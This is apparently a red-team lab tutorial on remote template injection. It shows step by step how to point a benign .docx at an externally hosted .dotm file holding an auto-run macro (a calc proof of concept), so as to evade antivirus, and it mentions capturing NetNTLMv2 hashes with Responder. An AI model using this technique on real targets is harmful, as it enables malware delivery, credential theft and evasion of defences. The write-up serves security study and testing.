Inject Macros from a Remote Dotm Template
This lab shows how it is possible to add a macros payload to a docx file indirectly, which has a good chance of evading some AVs/EDRs.
This technique works in the following way:
- 1.A malicious macro is saved in a Word template .dotm file
- 2.Benign .docx file is created based on one of the default MS Word Document templates
- 3.Document from step 2 is saved as .docx
- 4.Document from step 3 is renamed to .zip
- 5.Document from step 4 gets unzipped
- 6..\word_rels\settings.xml.rels contains a reference to the template file. That reference gets replaced with a refernce to our malicious macro created in step 1. File can be hosted on a web server (http) or webdav (smb).
- 7.File gets zipped back up again and renamed to .docx
- 8.Done
Alt+F8 to enter Dev mode where we can edit Macros, select
ThisDocument and paste in:Doc3.dotm
Sub Document_Open()
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc"
End Sub
Create a benign .docx file based on one of the provided templates and save it as .docx:
Rename legit.docx to legit.zip:
Unzip the archive and edit
word_rels\settings.xml.rels:word_rels\settings.xml.rels
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="file:///C:\Users\mantvydas\AppData\Roaming\Microsoft\Templates\Polished%20resume,%20designed%20by%20MOO.dotx" TargetMode="External"/></Relationships>
Note it has the target template specified here:
Upload the template created previously
Doc3.dot to an SMB server (note that the file could be hosted on a web server also!).Update word_rels\settings.xml.rels to point to Doc3.dotm:
Zip all the files of
legit archive and name it back to .docx - we now have a weaponized document:
Note that this technique could be used to steal NetNTLMv2 hashes since the target system is connecting to the attacking system - a responder can be listening there.